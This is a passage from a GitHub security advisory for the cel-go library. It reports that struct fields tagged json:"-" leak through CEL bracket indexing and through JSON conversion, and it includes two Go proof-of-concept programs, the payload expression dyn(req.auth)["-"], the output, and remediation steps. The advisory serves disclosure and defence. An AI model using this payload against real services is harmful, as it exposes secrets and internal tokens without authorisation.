refVal.FieldByName(refField.Name)\n            return getFieldValue(refField), nil\n        },\n    }, true\n}\n```\n\nAt runtime, native objects advertise index access.\nSee at `ext/native.go:37`:\n\n```go\nvar (\n    nativeObjTraitMask = traits.FieldTesterType | traits.IndexerType\n)\n```\n\nBecause `traits.IndexerType` is present, a user expression can bypass ordinary field syntax and read the registered `\"-\"` field with bracket access:\n\n```cel\ndyn(req.auth)[\"-\"]\n```\n\nThe same mistaken name is also used when converting native objects to JSON-like CEL values. `ConvertToNative(jsonStructType)` iterates all Go struct fields, computes the CEL field name, and inserts it into the output map without applying the JSON skip rule.\n\nSee at `ext/native.go:501`:\n\n```go\ncase jsonStructType:\n    refVal := reflect.Indirect(o.refValue)\n    refType := refVal.Type()\n    fields := make(map[string]*structpb.Value, refVal.NumField())\n    for i := 0; i \u003c refVal.NumField(); i++ {\n        fieldType := refType.Field(i)\n        fieldValue := refVal.Field(i)\n        if !fieldValue.IsValid() || fieldValue.IsZero() {\n            continue\n        }\n        fieldName := toFieldName(o.valType.fieldNameHandler, fieldType)\n        fieldCELVal := o.NativeToValue(fieldValue.Interface())\n        fieldJSONVal, err := fieldCELVal.ConvertToNative(jsonValueType)\n        if err != nil {\n            return nil, err\n        }\n        fields[fieldName] = fieldJSONVal.(*structpb.Value)\n    }\n    return \u0026structpb.Struct{Fields: fields}, nil\n```\n\nThis means a `json:\"-\"` secret is exposed in two ways: it can be read directly through CEL indexing as `dyn(obj)[\"-\"]`, and it can appear under the key `\"-\"` in JSON struct conversion output.\n\nThe blast radius is widened by `newNativeTypes`, which registers not only the type explicitly passed to `NativeTypes`, but also every nested struct reachable from its fields.\n\nSee at `ext/native.go:609`:\n\n```go\nfunc newNativeTypes(fieldNameHandler NativeTypesFieldNameHandler, rawType reflect.Type) ([]*nativeType, error) {\n    nt, err := newNativeType(fieldNameHandler, rawType)\n    if err != nil {\n        return nil, err\n    }\n    result := []*nativeType{nt}\n\n    var iterateStructMembers func(reflect.Type)\n    iterateStructMembers = func(t reflect.Type) {\n        if k := t.Kind(); k == reflect.Pointer || k == reflect.Slice || k == reflect.Array || k == reflect.Map {\n            iterateStructMembers(t.Elem())\n            return\n        }\n        if t.Kind() != reflect.Struct {\n            return\n        }\n\n        nt, ntErr := newNativeType(fieldNameHandler, t)\n        if ntErr != nil {\n            err = ntErr\n            return\n        }\n        result = append(result, nt)\n\n        for idx := 0; idx \u003c t.NumField(); idx++ {\n            iterateStructMembers(t.Field(idx).Type)\n        }\n    }\n    iterateStructMembers(rawType)\n\n    return result, err\n}\n```\n\nAs a result, a developer can register one apparently safe request type while a nested dependency type is silently registered too. If that nested type contains a `json:\"-\"` secret, CEL still receives a readable field named `\"-\"` even though the developer never registered or audited that nested type directly.\n\n## Reproduction\n\n```go\npackage main\n\nimport (\n    \"fmt\"\n    \"reflect\"\n\n    \"github.com/google/cel-go/cel\"\n    \"github.com/google/cel-go/ext\"\n)\n\n// Simulates a library type; developer never registers this directly.\ntype AuthCtx struct {\n    UserID string `json:\"userId\"`\n    Secret string `json:\"-\"` // server-internal; never appears in JSON output\n}\n\n// Developer registers only this type.\ntype Req struct{ Auth AuthCtx `json:\"auth\"` }\n\nfunc main() {\n    env, _ := cel.NewEnv(\n        // Only Req is passed; AuthCtx is registered silently by newNativeTypes.\n        ext.NativeTypes(reflect.TypeOf(Req{}), ext.ParseStructTag(\"json\")),\n        cel.Variable(\"req\", cel.ObjectType(\"main.Req\")),\n    )\n    ast, _ := env.Compile(`dyn(req.auth)[\"-\"]`)\n    prg, _ := env.Program(ast)\n    out, _, _ := prg.Eval(map[string]any{\n        \"req\": Req{Auth: AuthCtx{UserID: \"alice\", Secret: \"sk-live-s3cr3t\"}},\n    })\n    fmt.Println(out) // sk-live-s3cr3t\n}\n```\n\n**Expected:** expression compile error or empty result; `json:\"-\"` field should not be\naccessible.  \n**Actual:** `sk-live-s3cr3t`; the server-injected secret is returned verbatim.\n\nThe same field is also included under key `\"-\"` in `ConvertToNative(jsonStructType)`\noutput, and appears in `FindStructFieldNames` enumeration.\n\n### path 1. CEL indexing\n\nTested against the released module `github.com/google/cel-go v0.28.1`\n(latest stable release as of 2026-05-12), using the `go.mod` entry:\n\n```\nrequire github.com/google/cel-go v0.28.1\n```\n\nRunning the PoC above (`go run main.go`) produces:\n\n```\nsk-live-s3cr3t\n```\n\nThe secret value is returned verbatim, with no error at compile time or at runtime.\n\n### Path 2. `ConvertToNative(jsonStructType)`\n\nWhen the `nativeObj` for the `AuthCtx` value is converted to a Protobuf `Struct`\n(the representation used whenever CEL output is serialised to JSON), the\n`json:\"-\"` field appears in the output map under the key `\"-\"`.\n\n```go\npackage main\n\nimport (\n    \"encoding/json\"\n    \"fmt\"\n    \"reflect\"\n\n    \"github.com/google/cel-go/cel\"\n    \"github.com/google/cel-go/ext\"\n\n    structpb \"google.golang.org/protobuf/types/known/structpb\"\n)\n\ntype AuthCtxConv struct {\n    UserID string `json:\"userId\"`\n    Secret string `json:\"-\"` // should never appear in JSON output\n}\n\ntype ReqConv struct{ Auth AuthCtxConv `json:\"auth\"` }\n\nfunc main() {\n    env, _ := cel.NewEnv(\n        ext.NativeTypes(reflect.TypeOf(ReqConv{}), ext.ParseStructTag(\"json\")),\n        cel.Variable(\"req\", cel.ObjectType(\"main.ReqConv\")),\n    )\n\n    ast, _ := env.Compile(`req.auth`)\n    prg, _ := env.Program(ast)\n    out, _, _ := prg.Eval(map[string]any{\n        \"req\": ReqConv{Auth: AuthCtxConv{UserID: \"alice\", Secret: \"sk-live-s3cr3t\"}},\n    })\n\n    jsonStructType := reflect.TypeOf(\u0026structpb.Struct{})\n    raw, _ := out.ConvertToNative(jsonStructType)\n\n    st := raw.(*structpb.Struct)\n    b, _ := json.MarshalIndent(st.AsMap(), \"\", \"  \")\n    fmt.Printf(\"ConvertToNative(jsonStructType) output:\\n%s\\n\", b)\n    fmt.Printf(\"\\nDirect field access via \\\"-\\\" key present: %v\\n\", st.Fields[\"-\"] != nil)\n    if v, ok := st.Fields[\"-\"]; ok {\n        fmt.Printf(\"Value: %s\\n\", v.GetStringValue())\n    }\n}\n```\n\nRunning the PoC above produces:\n\n```\nConvertToNative(jsonStructType) output:\n{\n  \"-\": \"sk-live-s3cr3t\",\n  \"userId\": \"alice\"\n}\n\nDirect field access via \"-\" key present: true\nValue: sk-live-s3cr3t\n```\n\nThe `\"-\"` key is present in the serialised Protobuf struct alongside `userId`.\nAny system that converts a CEL evaluation result to JSON (e.g. via `structpb.Struct`) will include the secret in the output, regardless of whether the `dyn()[\"-\"]` indexing path is used.\n\n## Impact\n\nAny user who can submit CEL expressions to an application that uses `ext.NativeTypes(ParseStructTag(\"json\"))` can read struct fields that the developer explicitly marked `json:\"-\"` to keep out of serialised output. By writing `dyn(obj)[\"-\"]`, the attacker retrieves the raw Go field value, typically a secret, internal token, or private identifier, with no compile-time or runtime error. Because `newNativeTypes` silently registers every nested struct reachable from the root type, the attacker may also reach secrets in dependency types the developer never intended to expose to CEL.\n\n## Remediation\n\nDo not treat `json:\"-\"` as a CEL field named `\"-\"`. Model it as an explicit skipped field, not as an empty string field name.\n\nUpdate the struct-tag parsing path so exact `json:\"-\"` returns \u201cskip this field\u201d, while `json:\"-,\"` continues to mean the literal field name `\"-\"`, matching `encoding/json` semantics.\n\nApply that skip decision consistently anywhere native fields are exposed or resolved:\n\n- duplicate-name validation in `newNativeType`\n- field enumeration in `FindStructFieldNames`\n- field type lookup in `FindStructFieldType`\n- runtime lookup in `fieldByName` / `hasField`\n- object construction in `NewValue`\n- JSON conversion in `ConvertToNative(jsonStructType)`\n\nApply the same omit handling for `xml:\"-\"`, `yaml:\"-\"`, and `bson:\"-\"` where `ParseStructTag` is used.",
  "id": "GHSA-gcjh-h69q-9w9g",
  "modified": "2026-07-24T16:48:56Z",
  "published": "2026-07-24T16:48:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cel-expr/cel-go/security/advisories/GHSA-gcjh-h69q-9w9g"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cel-expr/cel-go"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "cel-go: JSON Private Fields Exposed via NativeTypes and ParseStructTag"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted